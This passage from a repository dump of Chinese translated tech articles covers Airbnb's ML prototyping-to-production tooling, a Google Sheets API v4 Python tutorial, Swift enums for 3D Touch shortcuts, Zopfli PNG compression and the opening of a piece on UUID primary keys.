来根据特征类型（如二进制特征、分类特征、数值特征等）来指定不同特征中数据的转换方式。最后使用 [FeatureUnion](http://scikit-learn.org/stable/modules/generated/sklearn.pipeline.FeatureUnion.html) 简单将特征列组合起来，形成最终的训练集。\n\n使用 pipeline 开发原型的优势在于，它可以使用 [data transforms](http://scikit-learn.org/stable/data_transforms.html) 来避免繁琐的数据转换。总的来说，这些转换是为了确保数据在训练和评估时保持一致，以避免将原型部署到生产环境时出现的数据不一致。\n\n另外，pipeline 还可以将数据转换过程和训练模型过程分开。虽然上面代码中没有，但数据科学家可以在最后一步指定一种 [estimator（估值器）](http://scikit-learn.org/stable/tutorial/machine_learning_map/index.html)来训练模型。通过尝试使用不同的估值器，数据科学家可以为模型选出一个表现最佳的估值器，减少模型的样本误差。\n\n### 模型选择与验证\n\n> **使用工具：各种**[**自动机器学习**](https://medium.com/airbnb-engineering/automated-machine-learning-a-paradigm-shift-that-accelerates-data-scientist-productivity-airbnb-f1f8a10d61f8)**框架**\n\n如上一节所述，我们需要确定候选模型中的哪个最适合投入生产。为了做这个决策，我们需要在模型的可解释性与复杂度中进行权衡。例如，稀疏线性模型的解释性很好，但它的复杂度太低了，不能很好地运作。一个足够复杂的树模型可以拟合各种非线性模式，但是它的解释性很差。这种情况也被称为[**偏差（Bias）和方差（Variance）的权衡**](http://scott.fortmann-roe.com/docs/BiasVariance.html)。\n\n![](https://cdn-images-1.medium.com/max/1600/1*tQbBEq6T8ZJ9lFSCbZKFqw.png)\n\n上图引用自 James、Witten、Hastie、Tibshirani 所著《R 语言统计学习》\n\n在保险、信用审查等应用中，需要对模型进行解释。因为对模型来说避免无意排除一些正确客户是很重要的事。不过在图像分类等应用中，模型的高性能比可解释更重要。\n\n由于模型的选择相当耗时，我们选择采用各种[自动机器学习](https://medium.com/airbnb-engineering/automated-machine-learning-a-paradigm-shift-that-accelerates-data-scientist-productivity-airbnb-f1f8a10d61f8)工具来加速这个步骤。通过探索大量的模型，我们最终会找到表现最好的模型。例如，我们发现 [XGBoost](https://github.com/dmlc/xgboost) (XGBoost) 明显比其他基准模型（比如 mean response 模型、岭回归模型、单一决策树）的表现要好。\n\n![](https://cdn-images-1.medium.com/max/1600/1*y1O7nIxCFmgQamCfsrWfjA.png)\n\n上图：我们通过比较 RMSE 可以选择出表现更好的模型\n\n鉴于我们的最初目标是预测房源价格，因此我们很舒服地在最终的生产环境中使用 XGBoost 模型，比起可解释性它更注重于模型的弹性。\n\n### 生产部署\n\n> **使用工具：Airbnb 自己写的 notebook 转换框架 — ML Automator**\n\n如开始所说，构建生产环境工作流和在笔记本上构建一个原型是完全不同的。例如，我们如何进行定期的重训练？我们如何有效地评估大量的实例？我们如何建立一个 pipeline 以随时监视模型性能？\n\n在 Airbnb，我们自己开发了一个名为 **ML Automator** 的框架，它可以自动将 Jupyter notebook 转换为 [Airflow](https://medium.com/airbnb-engineering/airflow-a-workflow-management-platform-46318b977fd8) 机器学习 pipeline。该框架专为熟悉使用 Python 开发原型，但缺乏将模型投入生产环境经验的数据科学家准备。\n\n![](https://cdn-images-1.medium.com/max/1600/1*uLCH5Ozfj8mM07bKXIg20Q.png)\n\nML Automator 框架概述（照片来源：Aaron Keys）\n\n- 首先，框架要求用户在 notebook 中指定模型的配置。该配置将告诉框架如何定位训练数据表，为训练分配多少计算资源，以及如何计算模型评价分数。\n- 另外，数据科学家需要自己写特定的 **fit** 与 **transform** 函数。fit 函数指定如何进行训练，而 transform 函数将被 Python UDF 封装，进行分布式计算（如果有需要）。\n\n下面的代码片段展示了我们 LTV 模型中的 **fit** 与 **transform** 函数。fit 函数告诉框架需要训练 XGBoost 模型，同时转换器将根据我们之前定义的 pipeline 转换数据。\n\n```\ndef fit(X_train, y_train):\n    import multiprocessing\n    from ml_helpers.sklearn_extensions import DenseMatrixConverter\n    from ml_helpers.data import split_records\n    from xgboost import XGBRegressor\n\n    global model\n\n    model = {}\n    n_subset = N_EXAMPLES\n    X_subset = {k: v[:n_subset] for k, v in X_train.iteritems()}\n    model['transformations'] = ExtendedPipeline([\n                ('features', features),\n                ('densify', DenseMatrixConverter()),\n            ]).fit(X_subset)\n\n    # 并行使用转换器\n    Xt = model['transformations'].transform_parallel(X_train)\n\n    # 并行进行模型拟合\n    model['regressor'] = XGBRegressor().fit(Xt, y_train)\n\ndef transform(X):\n    # return dictionary\n    global model\n    Xt = model['transformations'].transform(X)\n    return {'score': model['regressor'].predict(Xt)}\n```\n\n一旦 notebook 完成，ML Automator 将会把训练好的模型包装在 [Python UDF](http://www.florianwilhelm.info/2016/10/python_udf_in_hive/) 中，并创建一个如下图所示的 [Airflow](https://airflow.incubator.apache.org/) pipeline。数据序列化、定期重训练、分布式评价等数据工程任务都将被载入到日常批处理作业中。因此，这个框架显著降低了数据科学家将模型投入生产的成本，就像有一位数据工程师在与科学家一起工作一样！\n\n![](https://cdn-images-1.medium.com/max/1600/1*DvPE_V_SoHV3pikOqiZxsg.png)\n\n我们 LTV 模型在 Airflow DAG 中的图形界面，运行于生产环境中\n\n**Note：除了模型生产化之外，还有一些其它项目（例如跟踪模型随着时间推移的性能、使用弹性计算环境建模等）我们没有在这篇文章中进行介绍。这些都是正在进行开发的热门领域。**\n\n### 经验与展望\n\n过去的几个月中，我们的数据科学家们与 ML Infra 密切合作，产生了许多很好的模式和想法。我们相信这些工具将会为 Airbnb 开发机器学习模型开辟新的范例。\n\n- **首先，显著地降低了模型的开发成本**：通过组合各种不同的独立工具的优点（Zipline 用于特征工程、Pipeline 用于模型原型设计、AutoML 用于模型选择与验证，以及最后的 ML Automator 用于模型生产化），我们大大减短了模型的开发周期。\n- **其次，notebook 的设计降低了入门门槛**：还不熟悉框架的数据科学家可以立即得到大量的真实用例。在生产环境中，可以确保 notebook 是正确、自解释、最新的。这种设计模式受到了新用户的好评。\n- **因此，团队将更愿意关注机器学习产品的 idea**：在本文撰写时，我们还有其它几支团队在采用类似的方法探索机器学习产品的 idea：为检查房源队列进行排序、预测房源是否会增加合伙人、自动标注低质量房源等等。\n\n我们对这个框架和它带来的新范式的未来感到无比的兴奋。通过缩小原型与生产环境间的差距，我们可以让数据科学家和数据工程师更多去追求端到端的机器学习项目，让我们的产品做得更好。\n\n---\n\n**想使用或者一起开发这些机器学习工具吗？我们正在寻找 **[**能干的你加入我们的数据科学与分析团队**](https://www.airbnb.com/careers/departments/data-science-analytics)**！**\n\n---\n\n**特别感谢参与这项工作的Data Science＆ML Infra团队的成员：**[*Aaron Keys*](https://www.linkedin.com/in/aaronkeys/)*, *[*Brad Hunter*](https://www.linkedin.com/in/brad-hunter-497621a/)*, *[*Hamel Husain*](https://www.linkedin.com/in/hamelhusain/)*, *[*Jiaying Shi*](https://www.linkedin.com/in/jiaying-shi-a2142733/)*, *[*Krishna Puttaswamy*](https://www.linkedin.com/in/krishnaputtaswamy/)*, *[*Michael Musson*](https://www.linkedin.com/in/michael-m-a37b1932/)*, *[*Nick Handel*](https://www.linkedin.com/in/nicholashandel/)*, *[*Varant Zanoyan*](https://www.linkedin.com/in/vzanoyan/)*, *[*Vaughn Quoss*](https://www.linkedin.com/in/vquoss/)* 等人。另外感谢 *[*Gary Tang*](https://www.linkedin.com/in/thegarytang/)*, *[*Jason Goodman*](https://medium.com/@jasonkgoodman)*, *[*Jeff Feng*](https://twitter.com/jtfeng)*, *[*Lindsay Pettingill*](https://medium.com/@lpettingill)* 给本文提的意见。*\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/using-new-google-sheets-api.md",
    "content": ">* 原文链接 : [Using the new Google Sheets API](http://wescpy.blogspot.hk/2016/06/using-new-google-sheets-api.html)\n* 原文作者 : [WESLEY CHUN](http://google.com/+WesleyChun)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Goshin](https://github.com/Goshin)\n* 校对者: [warcryDoggie](https://github.com/warcryDoggie), [jkjk77](https://github.com/jkjk77)\n\n# 如何应用最新版的谷歌表格 API\n\n## 引言\n\n本文将演示如何使用最新的 [Google 表格 API](http://developers.google.com/sheets). Google 在 2016 I/O 大会上发布了第四版的表格 API（[博客](http://googleappsdeveloper.blogspot.com/2016/06/auto-generating-google-forms.html)，[视频](http://youtu.be/Gk-xpjgUwx4)），与之前版本相比，新版增加了大量功能。现在，你可以通过 API v4 完成 Google 表格移动版和桌面版的大部分操作。\n\n文章下面会通过 Python 脚本，一步步将一个玩具公司关系型数据库里的客户订单数据逐条读出，并写到一个 Google 表格中。其他会涉及到的 API 还有：新建 Google 表格、从表格中读取数据。\n\n在之前的[几篇文章](http://goo.gl/57Gufk)中，我们已经介绍了 Google API 的结构和大致的使用说明，所以近期的文章会关注特定 API 在实际问题中的使用方法。如果你已经阅读过之前那篇，便可以从下面的授权范围开始，了解具体如何使用。\n\n## Google 表格 API 授权认证及权限范围\n\n之前版本的 Google Sheets API（早期名为 [Google Spreadsheets  API](http://developers.google.com/google-apps/spreadsheets)）作为 [GData API 组](http://developers.google.com/gdata/docs/directory) 的一部分，与其他 API 一起构建实现了较不安全的 [Google Data (GData) 协议](http://developers.google.com/gdata)，以一种 REST 驱动的技术方式读写网络中的信息。而新版表格 API 已成为 [Google APIs](http://developers.google.com/api-client-library/python/apis) 中的一员，使用 [OAuth2](http://oauth.net/) 方式认证，且利用 [Google APIs 客户端库](http://developers.google.com/discovery/libraries) 降低了使用难度。\n\n目前 API 提供[两种授权范围](https://developers.google.com/sheets/guides/authorizing#OAuth2Authorizing)：只读和读写。一般建议开发者根据用途尽量选择较多限制的授权范围。这样可以向用户请求较少的权限，用户更乐意一些，而且这样会令你的应用更加安全，防止可能的数据破坏，并可以预防流量及其他配额不经意地超出。在这个例子中我们需要创建表格并写入数据，所以_必须_选择『读写』授权。\n\n* [参考文档 - 权限部分：读写表格数据及表格属性](https://www.googleapis.com/auth/spreadsheets)\n\n## 使用 Google 表格 API\n\n开始代码部分的讲解：从 SQLite 数据库读取记录，根据这些数据新建 Google 表格。\n\n之前的[文章](http://goo.gl/cdm3kZ)和[视频](http://goo.gl/KMfbeK)中已经包含了授权的完整例子，所以这里直接从创建表格的调用点开始。调用 `apiclient.discovey.build()` 函数，并传入 API 名字符串 `'sheets'` 和版本号字符串 `'v4'`。\n\n```python\nSHEETS = discovery.build('sheets', 'v4', http=creds.authorize(Http()))\n```\n\n有了表格服务的调用点，首先要做的就是新建一个空白的 Google 表格。在此之前，你需要知道一点：大多数的 API 调用都需要传入一个包含操作名和数据的 JSON 请求主体，随着使用的深入，你会越来越熟悉这一点。对于新建表格来说，JSON 主体就比较简单，不需要加入任何值，传进一个空的 `dict` 就行，但最好还是提供一个表格的名字，参照下面这个 `data`：\n\n```python\ndata = {'properties': {'title': 'Toy orders [%s]' % time.ctime()}}\n```\n\n注意表格的标题 \"title\" 是它属性 \"properties\" 的一部分，另外这里还给名字加上了当前的时间戳。完成主体的构建后，将其传入 [`spreadsheets().create()`](http://developers.google.com/sheets/reference/rest/v4/spreadsheets/create) 并执行，完成空白表格的创建。\n\n```python\nres = SHEETS.spreadsheets().create(body=data).execute()\n```\n\n另外，你还可以通过  [Google Drive API](http://developers.google.com/drive) ([v2](http://wescpy.blogspot.com/2015/12/google-drive-uploading-downloading.html) 或 [v3](http://wescpy.blogspot.com/2015/12/migrating-to-new-google-drive-api-v3.html)) 来新建表格，但还需要传入 Google 表格（文件）的 [MIME 类型](http://developers.google.com/drive/v3/web/mime-types):\n\n```python\ndata = {\n    'name': 'Toy orders [%s]' % time.ctime(),\n    'mimeType': 'application/vnd.google-apps.spreadsheet',\n}\nres = DRIVE.files().create(body=data).execute() # insert() for v2\n```\n\n一般来说如果你只需要进行表格的操作，那仅表格的 API 就已足够。但如果你还需要创建其他文件，或是操作其他 Drive 文件和文件夹，你才需要 Drive API。当然如果你的应用复杂，你也可以都用，或是结合其他 Google API 使用。但这里就只用到表格 API。\n\n新建完表格后，获取并显示一些信息。\n\n```python\nSHEET_ID = res['spreadsheetId']\nprint('Created \"%s\"' % res['properties']['title'])\n```\n\n你也许会问：为什么要先新建表格然后再另外调用 API 添加数据？为什么不能在新建表格的时候同时添加数据？这个问题的答案虽然是可以，但是这样做意味着你需要在创建表格的时候，构建一个包含整张表格所有单元格数据及其格式的 JSON，而且单元格的格式数据相当繁复，结构并不像一个数组这么简单（当然你可以尽管尝试）。所以才有了 [spreadsheets().values()](http://developers.google.com/sheets/reference/rest/v4/spreadsheets.values) 的一系列相关函数，来简化仅针对表格数据的上传和下载。\n\n现在再看看 [SQLite](http://sqlite.org) 数据库文件（[db.sqlite](https://github.com/googlecodelabs/sheets-api/blob/master/start/db.sqlite)） 读写部分，你可以从 [Google 表格 Node.js 代码实验](http://g.co/codelabs/sheets) 处获取该文件。下面的代码通过 [sqlite3](http://docs.python.org/library/sqlite3) 标准库来连接数据库，读取所有记录，添加表头，并去除最后两列时间戳：\n\n```python\nFIELDS = ('ID', 'Customer Name', 'Product Code', 'Units Ordered',\n        'Unit Price', 'Status', 'Created at', 'Updated at')\ncxn = sqlite3.connect('db.sqlite')\ncur = cxn.cursor()\nrows = cur.execute('SELECT * FROM orders').fetchall()\ncxn.close()\nrows.insert(0, FIELDS)\ndata = {'values': [row[:6] for row in rows]}\n```\n\n拿到表格主体（由记录组成的数组）后，调用 [spreadsheets().values().update()](http://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/update)，比如：\n\n```python\nSHEETS.spreadsheets().values().update(spreadsheetId=SHEET_ID,\n    range='A1', body=data, valueInputOption='RAW').execute()\n```\n\n除了表格 ID 和数据主体之外，这个 API 调用还需要另外两个参数字段：一个是写入表格中的单元格位置范围（这里是左上角，记为 [A1](https://developers.google.com/sheets/guides/concepts#a1_notation)）。另一个是[值的输入选项](https://developers.google.com/sheets/reference/rest/v4/ValueInputOption)，用来定义数据该如何处理：是作为原始值（\"RAW\"），或用户输入值（\"USER_ENTERED\"），还是转换成字符串、数字。\n\n从表格中读取行数据就比较简单，[spreadsheets().values().get()](http://developers.google.com/sheets/reference/rest/v4/spreadsheets.values/get) 只需要传入表格 ID 和读取单元格的范围。\n\n```python\nprint('Wrote data to Sheet:')\nrows = SHEETS.spreadsheets().values().get(spreadsheetId=SHEET_ID,\n    range='Sheet1').execute().get('values', [])\nfor row in rows:\n    print(row)\n```\n\n如果成功的话，会返回一个包含 `'values'` 键的 `dict`。`get()` 的默认值是一个空数组，这样在失败时，`for` 循环也不会出错。\n\n如果你成功运行（末尾有附完整代码），并在浏览器 OAuth2 授权弹窗中同意 Google 表格修改权限的申请，你应该可以得到以下输出：\n\n```bash\n$ python3 sheets-toys.py # or python (2.x)\nCreated \"Toy orders [Thu May 26 18:58:17 2016]\" with this data:\n['ID', 'Customer Name', 'Product Code', 'Units Ordered', 'Unit Price', 'Status']\n['1', \"Alice's Antiques\", 'FOO-100', '25', '12.5', 'DELIVERED']\n['2', \"Bob's Brewery\", 'FOO-200', '60', '18.75', 'SHIPPED']\n['3', \"Carol's Car Wash\", 'FOO-100', '100', '9.25', 'SHIPPED']\n['4', \"David's Dog Grooming\", 'FOO-250', '15', '29.95', 'PENDING']\n['5', \"Elizabeth's Eatery\", 'FOO-100', '35', '10.95', 'PENDING']\n```\n\n## 总结\n\n下面是完整脚本，兼容 Python2 **和** Python3。\n\n```python\n'''sheets-toys.py -- Google Sheets API demo\n    created Jun 2016 by +Wesley Chun/@wescpy\n'''\nfrom __future__ import print_function\nimport argparse\nimport sqlite3\nimport time\n\nfrom apiclient import discovery\nfrom httplib2 import Http\nfrom oauth2client import file, client, tools\n\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets'\nstore = file.Storage('storage.json')\ncreds = store.get()\nif not creds or creds.invalid:\n    flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\n    flow = client.flow_from_clientsecrets('client_id.json', SCOPES)\n    creds = tools.run_flow(flow, store, flags)\n\nSHEETS = discovery.build('sheets', 'v4', http=creds.authorize(Http()))\ndata = {'properties': {'title': 'Toy orders [%s]' % time.ctime()}}\nres = SHEETS.spreadsheets().create(body=data).execute()\nSHEET_ID = res['spreadsheetId']\nprint('Created \"%s\"' % res['properties']['title'])\n\nFIELDS = ('ID', 'Customer Name', 'Product Code', 'Units Ordered',\n        'Unit Price', 'Status', 'Created at', 'Updated at')\ncxn = sqlite3.connect('db.sqlite')\ncur = cxn.cursor()\nrows = cur.execute('SELECT * FROM orders').fetchall()\ncxn.close()\nrows.insert(0, FIELDS)\ndata = {'values': [row[:6] for row in rows]}\n\nSHEETS.spreadsheets().values().update(spreadsheetId=SHEET_ID,\n    range='A1', body=data, valueInputOption='RAW').execute()\nprint('Wrote data to Sheet:')\nrows = SHEETS.spreadsheets().values().get(spreadsheetId=SHEET_ID,\n    range='Sheet1').execute().get('values', [])\nfor row in rows:\n    print(row)\n```\n\n你可以根据你的需要修改定制这段代码，改成移动前端脚本、开发脚本、后端脚本，或是使用其他 Google API。如果你觉得例子太过复杂，可以看看这篇只涉及读取现有表格的[快速入门 Python 部分](http://developers.google.com/sheets/quickstart/python)。如果你熟悉 JavaScript，想做点更正式的东西，可以了解一下这个 [Node.js 上手表格 API 代码实验](http://g.co/codelabs/sheets)，即上文中获取数据库文件的地方。本文就写到这里，希望能在最新表格 API 的入门了解上对你有所帮助。\n\n**附加题**: 请自由尝试单元格格式化及其他 API 的功能。除了读写数值，API 还有很多功能，挑战一下你自己吧！\n\n"
  },
  {
    "path": "TODO/using-swifts-enums-for-quick-actions.md",
    "content": "> * 原文地址：[Using Swift’s Enums for Quick Actions](https://medium.com/the-traveled-ios-developers-guide/using-swifts-enums-for-quick-actions-a08c0f6d5b8b#.lbt8itrxd)\n* 原文作者：[Jordan Morgan](https://medium.com/@JordanMorgan10?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[DeadLion](https://github.com/DeadLion)\n* 校对者：[Graning](https://github.com/Graning), [cbangchen](https://github.com/cbangchen)\n\n# 用 Swift 枚举完美实现 3D touch 快捷操作\n\n#### 完美实现 3D Touch \n\n我不确定是否一开始 Swift 的创造者们能够估计到他们创造的这一门极其优美的语言，将带给开发者们如此激昂的热情。 我只想说，Swift 社区已经成长且语言已经稳定（ISH）到一个地步，现在甚至有个专有名词赞美 Swift 编程的美好未来。\n\n_Swifty._\n\n> “That code isn’t Swifty”. “This should be more Swifty”. “This is a Swifty pattern”. “We can make this Swifty”.（反正就是漂亮，美得让人窒息之类的话）\n\n这些赞扬的话还会越来越多。虽然我不太提倡说这些赞赏的话语，但是我真的找不到其它可以替代的话来夸赞，用 Swift 为 3D touch 编写快捷操作的那种“美感”。\n\n这周，让我们来看看在 [UIApplicationShortcutItem](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIApplicationShortcutItem_class/) 实现细节中，Swift 是如何让我们成为 “一等公民” 的。\n\n#### 实现方案\n\n当一个用户在主屏开始一个快捷操作时，会发生下面两件事中的一个。应用程序可以调用指定的函数来处理该快捷方式，或快速休眠再启动 — — 这意味着最终还是通过熟悉的 didFinishLaunchingWithOptions 来执行。\n\n无论哪种方式，开发人员通常根据  UIApplicationShortcutItem 类型属性来决定用哪种操作。\n\n```\nif shortcutItem.type == \"bundleid.shortcutType\"\n{\n    //Action triggered\n}\n```\n\n上面代码是正确的，项目中只是用一次的话还是可以的。\n\n可惜的是，即便在 Swiftosphere**™** 中，switch 条件用字符串实例有额外好处的情况下，随着增加越来越多的快捷操作，这种方法还是很快令人觉得十分繁琐。同时它也被大量证明，对于这种情况使用字符串字面值可能是白费功夫：\n\n```\nif shortcutItem.type == \"bundleid.shortcutType\"\n{\n    //Action triggered\n}\nelse if shortcutItem.type == \"bundleid.shortcutTypeXYZ\"\n{\n    //Another action\n}\n//and on and on\n```\n\n处理这些快捷操作就像你代码库的一小部分，尽管如此—— Swift 能处理的更好而且更安全些。所以，让我们看看 Swift 如何发挥它的“魔法”，给我们提供一个更好的选择。\n\n#### Enum .Fun\n\n讲真， Swift 的枚举很“疯狂”。当 Swift 在 14 年发布的时候，我从来没有想过在枚举中可以使用属性，进行初始化和调用函数，但现在我们已经在这样子做了。\n\n不管怎么说，我们可以在工作中用上它们。当你考虑支持 UIApplicationShortcutItem 的实现细节时，几个关键点应该注意：\n\n*  必须通过 _type_ 属性给快捷方式指定一个名称\n*  根据苹果官方指南，必须以 bundle id 作为这些操作的前缀\n*  可能会有多个快捷方式\n*  可能会在应用程序多个位置采取基于类型的特定操作\n\n我们的游戏计划很简单。我们不采用硬编码字符串字面量，而是初始化一个枚举实例来表示这就是被调用的快捷方式。\n\n#### 具体实现\n\n我们虚构两个快捷方式，每个都额外附加一个之后，现在就是由一个枚举表示。\n\n```\nenum IncomingShortcutItem : String\n{\n    case SomeStaticAction\n    case SomeDynamicAction\n}\n```\n\n如果是用 Objective-C，我们可能到这就结束了。我认为，使用枚举远远优于之前使用字符串字面量的观点，已经被大家所接受。然而，对于为应用每个操作类型属性指定 bundle id 为前缀（例如，com.dreaminginbinary.myApp.MyApp）来说，使用一些字符串插值仍是最佳解决办法。\n\n但是，因为 Swift 枚举超级厉害，我们可以用它以一种非常简洁的方法来实现：\n\n```\nenum IncomingShortcutItem : String\n{\n    case SomeStaticAction\n    case SomeDynamicAction\n    private static let prefix: String = {\n        return NSBundle.mainBundle().bundleIdentifier! + \".\"\n    }()\n}\n```\n\n看！厉害吧！我们能安全的从计算属性中获取应用的包路径。回忆起上个星期的[一篇文章](https://medium.com/the-traveled-ios-developers-guide/swift-initialization-with-closures-5ea177f65a5#.ar2zxzrfc)，在介绍闭包的最后提到了插入值，我们希望将_前缀_分配给闭包的返回语句，并不是闭包本身。\n\n#### 最佳模式\n\n\n最终方案，将用上两个我们最喜爱的 Swift 功能。那就是为枚举创建一个可能会失败的初始化函数的时候，使用 guard 语句清除空值以确保安全。\n\n```\nenum IncomingShortcutItem : String\n{\n    case SomeStaticAction\n    case SomeDynamicAction\n    private static let prefix: String = {\n        return NSBundle.mainBundle().bundleIdentifier! + \".\"\n    }()\n\n    init?(shortCutType: String)\n    {\n        guard let bundleStringRange = shortCutType.rangeOfString(IncomingShortcutItem.prefix) else\n        {\n            return nil\n        }\n        var enumValueString = shortCutType\n        enumValueString.removeRange(bundleStringRange)\n        self.init(rawValue: enumValueString)\n    }\n}\n```\n\n这个允许失败的初始化是很重要的。如果没有匹配到快捷操作对应的字符串，应该跳出。它还能告诉我，如果我是维护者，当该使用它的时候，它可能更适合使用 guard 语句。\n\n我特别喜欢这部分，这也是我们如何能够利用枚举 _rawValue_ 的优势，且很容易把它拼接到包路径上。这一切都在正确的地方，一个初始化函数的内部。\n\n别忘了，一旦其初始化，我们还可以当枚举来用的。这意味着我们会有一个可读很高的 switch 语句，后面有些反对的理由。\n\n下面可能是最终产品的样子，所有的东西都集成进来了，与线上应用相比略有删减：\n\n```\nstatic func handleShortcutItem(shortcutItem:UIApplicationShortcutItem) -> Bool\n{\n    //Initialize our enum instance to check for a shortcut\n    guard let shortCutAction = IncomingShortcutItem(shortCutType: shortcutItem.type) else\n    {\n        return false\n    }\n    //Now we've got a valid shortcut, and can use a switch\n    switch shortCutAction\n    {\n        case .ShowFavorites:\n            return ShortcutItemHelper.showFavorites()\n        case .ShowDeveloper:\n            return ShortcutItemHelper.handleAction(with: developer)\n    }\n}\n```\n\n\n至此，通过使用这种模式，我们的快捷操作变的可分类和内容安全，这也是我为什么这么喜欢它的原因。在方法的末尾提供一个最终的 “return false” 语句其实没什么必要（甚至在 switch 语句中是默认启动），因为我们已经十分了解，最后给代码精简一下。\n\n和之前的代码比较一下：\n\n```\nstatic func handleShortcutItem(shortcutItem:UIApplicationShortcutItem) -&gt; Bool\n{\n    //Initialize our enum instance to check for a shortcut\n    let shortcutAction = NSBundle.mainBundle().bundleIdentifier! + \".\" + shortcutItem.type\n\n    if shortCutAction == \"com.aCoolCompany.aCoolApp.shortCutOne\"\n    {\n        return ShortcutItemHelper.showFavorites()\n    }\n    else if shortCutAction == \"com.aCoolCompany.aCoolApp.shortCutTwo\"\n    {\n         return ShortcutItemHelper.handleAction(with: developer)\n    }\n    return false\n}\n```\n\n\n真的，这看起来比用 switch 简单点。但我之前见过很多类似的代码（当然是我自己写的啦），虽然能很好的运行，但我认为可以利用 Swift 特性的优势，写出更好的代码。\n\n#### 最后的感想\n\n\n当我刚开始阅读 Swift 枚举的返回时，发现它们有点“重”。有类的 inits()，为什么我还要枚举符合协议，这看起来有点多余。多年以后，我想这种模式已经充分展示了为什么就是这样的原因。\n\n当我看到苹果实现了这种模式，确实很开心。我觉得这是个非常好的方式来解决一个小问题，同时对于快捷操作的实现细节来说也是个“团队友好”的方法。我认为他们也会同意我的观点，毕竟这种方式也在他们两个 3D touch 示例项目中。\n\n下次再见👋\n"
  },
  {
    "path": "TODO/using-zopfli-to-optimize-png-images.md",
    "content": ">* 原文链接 : [Using Zopfli to Optimize PNG Images](https://ariya.io/2016/06/using-zopfli-to-optimize-png-images)\n* 原文作者 : [Ariya Hidayat](https://ariya.io/about)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [cyseria](https://github.com/cyseria)\n* 校对者:[yifili09](https://github.com/yifili09), [rccoder](https://github.com/rccoder)\n\n# 使用使用Zopfli优化PNG图片\n\n[PNG格式](http://www.libpng.org/pub/png/) 在图片存储中是个很有用的格式，因为他能够保护截图的颜色不失真，能够很好地还原所有图片信息。然而，有许多图像应用并不提供导出较小 PNG 格式图片的功能。幸好，我们可以用一个 Google 发布的扩展工具 [Zopfli](https://en.wikipedia.org/wiki/Zopfli) 来解决这个问题。\n\nZopfli 是实现 DEFLATE 的编码器，这是一个 PNG 格式中常用的压缩方法（当然也有很多其他的方法来压缩 png，像 ZIP 等等），用来输出可能的最小压缩文件。由于他是一种无损转换，用 Zopfli 做再次压缩的 PNG 文件仍有预期中的像素。\n\n![zopflipng](https://ariya.io/images/2016/06/zopflipng.png)\n\n对于一个有很多 png 图片的 web 服务，将所有图片都用 `Zopfli` 来做压缩是非常有利的。使用（不失真的）压缩图片可以让（文件）传输更快，这就意味着网站访客能得到更好的用户体验。如果网站非常受欢迎，那就可能会显著的节省总带宽了。\n\n\n在 Linux 或者 macOS（之前叫 OS X ）系统编译 `Zopfli` 非常简单：\n```\n    $ git clone https://github.com/google/zopfli.git\n    $ cd zopfli\n    $ make zopflipng\n```\n\n之后，我通常会将 `zopflipng` 复制到 `~/bin` 中\n```\n    $ cp ./zopflipng ~/bin\n    $ ./zopflipng\n    ZopfliPNG, a Portable Network Graphics (PNG) image optimizer.\n\n    Usage: zopflipng [options]... infile.png outfile.png\n           zopflipng [options]... --prefix=[fileprefix] [files.png]...\n```\n\n压缩单张图片：\n```\n$ zopflipng screenshot.png screenshot_small.png\n```\n注意，由于 Zopfli 压缩是[CPU密集型操作](https://developers.googleblog.com/2013/02/compress-data-more-densely-with-zopfli.html)，过程中往往需要几秒钟。\n\n对于批量转换，需要一个简单的脚本来做辅助。我写了一个简单的脚本 `png-press.sh`\n```\n    #!/usr/bin/env sh\n\n    tmpfile=$(mktemp)\n    zopflipng -m -y $1 $tmpfile\n    mv $tmpfile $1\n```\n\n现在可以进入一个全是图片的目录并执行：\n```\n    $ find . -iname *.png  | xargs -I % ./png-press.sh %\n```\n\n作为一个插画网站，这个博客有超过280张png图片（大多都是截图），总共占了  24.4MB 的空间。执行上述步骤之后，空间占用量减少到了 19.1MB。节省了整整 5MB 空间！\n\n现在，你有什么理由不使用 Zopfliy 优化去优化你的截图呢？\n\n\n\n\n"
  },
  {
    "path": "TODO/uuid-or-guid-as-primary-keys-be-careful.md",
    "content": "> * 原文地址：[UUID or GUID as Primary Keys? Be Careful!](https://tomharrisonjr.com/uuid-or-guid-as-primary-keys-be-careful-7b2aa3dcb439)\n> * 原文作者：[Tom Harrison Jr](https://tomharrisonjr.com/@tomharrisonjr)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zaraguo](https://github.com/zaraguo)\n> * 校对者：[canonxu](https://github.com/canonxu) [yifili09](https://github.com/yifili09)\n---\n\n# 把 UUID 或者 GUID 作为主键？你得小心啦！\n\n![](https://cdn-images-1.medium.com/max/800/1*eOxYCicU2O_DHk5CWJS9TQ.png)\n\n没有什么会像 GUID 一样表达“用户友好”！\n\n最近在阅读时，一篇谈论如何扩展数据库的文章引起了我的关注 - 作者在文中建议大家使用 UUIDs（类似 GUIDs）作为数据库表的主键。\n\n### UUIDs 的优点\n\n下面列出了一些使用 UUID 作为主键比使用自增整数好的原因：\n\n1. 在扩展数据库的时候，当你有多个数据库包含同一段（片）数据时，比如一个顾客集，使用 UUID 意味着该 ID 在所有的数据库中是唯一标识的，而不是仅仅本数据库唯一。这保障了跨数据库迁移数据的安全。又比如，我曾在项目中把多个数据库分片合并到一个 Hadoop 集群中，也没有产生键的冲突。\n2. 